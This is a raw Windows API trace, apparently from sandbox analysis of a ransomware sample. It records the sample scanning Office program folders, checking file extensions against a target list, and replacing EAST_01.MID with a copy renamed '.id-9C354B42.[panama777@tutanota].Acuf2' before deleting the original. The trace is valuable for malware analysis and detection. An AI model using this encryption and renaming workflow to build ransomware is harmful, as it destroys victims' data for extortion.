	[0250.833] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString=".1cd") returned 4
	[0250.833] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString=".jpg") returned 4
	[0250.833] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString=".doc") returned 4
	[0250.833] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString=".docx") returned 5
	[0250.833] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0250.833] lstrlenW (lpString=".pdf") returned 4
	[0250.833] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString=".xls") returned 4
	[0250.833] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString=".xlsx") returned 5
	[0250.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0250.834] lstrlenW (lpString=".ppt") returned 4
	[0250.834] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.834] lstrlenW (lpString=".zip") returned 4
	[0250.834] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.834] lstrlenW (lpString=".rar") returned 4
	[0250.834] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.834] lstrlenW (lpString=".bz2") returned 4
	[0250.834] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.834] lstrlenW (lpString=".7z") returned 3
	[0250.834] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.834] lstrlenW (lpString=".dbf") returned 4
	[0250.834] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.834] lstrlenW (lpString=".1cd") returned 4
	[0250.834] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.834] lstrlenW (lpString=".jpg") returned 4
	[0250.834] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.834] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0250.834] lstrlenW (lpString="ACERECR.DLL") returned 11
	[0250.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.835] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=20944) returned 1
	[0250.835] CloseHandle (hObject=0x298) returned 1
	[0250.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20
	[0250.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.835] lstrlenW (lpString=".doc") returned 4
	[0250.835] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString=".docx") returned 5
	[0250.835] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0250.835] lstrlenW (lpString=".pdf") returned 4
	[0250.835] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString=".xls") returned 4
	[0250.835] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString=".xlsx") returned 5
	[0250.835] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0250.835] lstrlenW (lpString=".ppt") returned 4
	[0250.835] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.835] lstrlenW (lpString=".zip") returned 4
	[0250.835] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString=".rar") returned 4
	[0250.835] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.835] lstrlenW (lpString=".bz2") returned 4
	[0250.835] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.835] lstrlenW (lpString=".7z") returned 3
	[0250.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.835] lstrlenW (lpString=".dbf") returned 4
	[0250.836] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString=".1cd") returned 4
	[0250.836] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString=".jpg") returned 4
	[0250.836] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString=".doc") returned 4
	[0250.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString=".docx") returned 5
	[0250.836] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0250.836] lstrlenW (lpString=".pdf") returned 4
	[0250.836] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString=".xls") returned 4
	[0250.836] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString=".xlsx") returned 5
	[0250.836] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0250.836] lstrlenW (lpString=".ppt") returned 4
	[0250.836] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString=".zip") returned 4
	[0250.836] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString=".rar") returned 4
	[0250.836] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.836] lstrlenW (lpString=".bz2") returned 4
	[0250.836] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.836] lstrlenW (lpString=".7z") returned 3
	[0250.836] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.836] lstrlenW (lpString=".dbf") returned 4
	[0250.836] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.837] lstrlenW (lpString=".1cd") returned 4
	[0250.837] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72
	[0250.837] lstrlenW (lpString=".jpg") returned 4
	[0250.837] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.837] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0250.837] lstrlenW (lpString="ACEWSTR.DLL") returned 11
	[0250.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.837] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=862608) returned 1
	[0250.837] CloseHandle (hObject=0x298) returned 1
	[0250.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20
	[0250.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.837] lstrlenW (lpString=".doc") returned 4
	[0250.837] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.837] lstrlenW (lpString=".docx") returned 5
	[0250.837] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0250.837] lstrlenW (lpString=".pdf") returned 4
	[0250.838] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString=".xls") returned 4
	[0250.838] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString=".xlsx") returned 5
	[0250.838] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0250.838] lstrlenW (lpString=".ppt") returned 4
	[0250.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString=".zip") returned 4
	[0250.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString=".rar") returned 4
	[0250.838] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString=".bz2") returned 4
	[0250.838] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.838] lstrlenW (lpString=".7z") returned 3
	[0250.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString=".dbf") returned 4
	[0250.838] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString=".1cd") returned 4
	[0250.838] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString=".jpg") returned 4
	[0250.838] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.838] lstrlenW (lpString=".doc") returned 4
	[0250.838] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.838] lstrlenW (lpString=".docx") returned 5
	[0250.838] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0250.838] lstrlenW (lpString=".pdf") returned 4
	[0250.839] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.839] lstrlenW (lpString=".xls") returned 4
	[0250.839] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.839] lstrlenW (lpString=".xlsx") returned 5
	[0250.839] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0250.839] lstrlenW (lpString=".ppt") returned 4
	[0250.839] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.839] lstrlenW (lpString=".zip") returned 4
	[0250.839] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.839] lstrlenW (lpString=".rar") returned 4
	[0250.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.839] lstrlenW (lpString=".bz2") returned 4
	[0250.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.839] lstrlenW (lpString=".7z") returned 3
	[0250.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.839] lstrlenW (lpString=".dbf") returned 4
	[0250.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.839] lstrlenW (lpString=".1cd") returned 4
	[0250.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72
	[0250.839] lstrlenW (lpString=".jpg") returned 4
	[0250.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.839] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0250.840] lstrlenW (lpString="ALRTINTL.DLL") returned 12
	[0250.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.840] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=154448) returned 1
	[0250.840] CloseHandle (hObject=0x298) returned 1
	[0250.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20
	[0250.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73
	[0250.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73
	[0250.840] lstrlenW (lpString=".doc") returned 4
	[0250.840] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.840] lstrlenW (lpString=".docx") returned 5
	[0250.840] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0250.840] lstrlenW (lpString=".pdf") returned 4
	[0250.840] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.840] lstrlenW (lpString=".xls") returned 4
	[0250.840] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.840] lstrlenW (lpString=".xlsx") returned 5
	[0250.840] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0250.840] lstrlenW (lpString=".ppt") returned 4
	[0250.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73
	[0250.840] lstrlenW (lpString=".zip") returned 4
	[0250.841] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.841] lstrlenW (lpString=".rar") returned 4
	[0250.841] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.841] lstrlenW (lpString=".bz2") returned 4
	[0250.841] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.841] lstrlenW (lpString=".7z") returned 3
	[0250.841] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73
	[0250.841] lstrlenW (lpString=".dbf") returned 4
	[0250.841] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0251.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0254.791] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.791] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.799] GetLastError () returned 0x0
	[0254.799] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1815, lpOverlapped=0x0) returned 1
	[0254.816] WriteFile (in: hFile=0x350, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1820, lpOverlapped=0x0) returned 1
	[0254.817] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.817] WriteFile (in: hFile=0x350, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0254.817] SetEndOfFile (hFile=0x350) returned 1
	[0254.817] CloseHandle (hObject=0x350) returned 1
	[0254.817] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.817] SetEndOfFile (hFile=0x334) returned 1
	[0254.820] CloseHandle (hObject=0x334) returned 1
	[0254.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString=".doc") returned 4
	[0254.824] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.824] lstrlenW (lpString=".docx") returned 5
	[0254.824] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.824] lstrlenW (lpString=".pdf") returned 4
	[0254.824] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.824] lstrlenW (lpString=".xls") returned 4
	[0254.824] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.824] lstrlenW (lpString=".xlsx") returned 5
	[0254.824] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.824] lstrlenW (lpString=".ppt") returned 4
	[0254.824] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString=".zip") returned 4
	[0254.824] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.824] lstrlenW (lpString=".rar") returned 4
	[0254.824] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.824] lstrlenW (lpString=".bz2") returned 4
	[0254.824] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.824] lstrlenW (lpString=".7z") returned 3
	[0254.824] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString=".dbf") returned 4
	[0254.824] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString=".1cd") returned 4
	[0254.824] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.824] lstrlenW (lpString=".jpg") returned 4
	[0254.824] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.825] lstrlenW (lpString=".doc") returned 4
	[0254.825] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.825] lstrlenW (lpString=".docx") returned 5
	[0254.825] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.825] lstrlenW (lpString=".pdf") returned 4
	[0254.825] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.825] lstrlenW (lpString=".xls") returned 4
	[0254.825] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.825] lstrlenW (lpString=".xlsx") returned 5
	[0254.825] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.825] lstrlenW (lpString=".ppt") returned 4
	[0254.825] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.825] lstrlenW (lpString=".zip") returned 4
	[0254.825] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.825] lstrlenW (lpString=".rar") returned 4
	[0254.825] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.825] lstrlenW (lpString=".bz2") returned 4
	[0254.825] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
